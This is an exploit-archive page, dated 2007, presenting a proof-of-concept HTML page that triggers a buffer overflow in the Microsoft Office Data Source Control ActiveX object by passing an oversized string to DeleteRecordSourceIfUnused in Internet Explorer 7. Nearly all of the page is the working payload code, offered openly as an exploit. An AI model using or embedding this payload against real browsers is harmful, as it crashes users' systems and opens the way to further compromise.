Home / exploitsPDF  

mso-dos.txt

Posted on 14 June 2007

MSODataSourceControl.DeleteRecordSourceIfUnused COM-object B0F POC Tested on full patched XP/SP2, IE7, MSO2003 <html> <object id=ctl classid="clsid:{0002E55B-0000-0000-C000-000000000046}"></object> <script language="javascript"> var b = 'AAAA'; while (b.length <= 256) b+=b; ctl.DeleteRecordSourceIfUnused(b); </script> </html>

 

TOP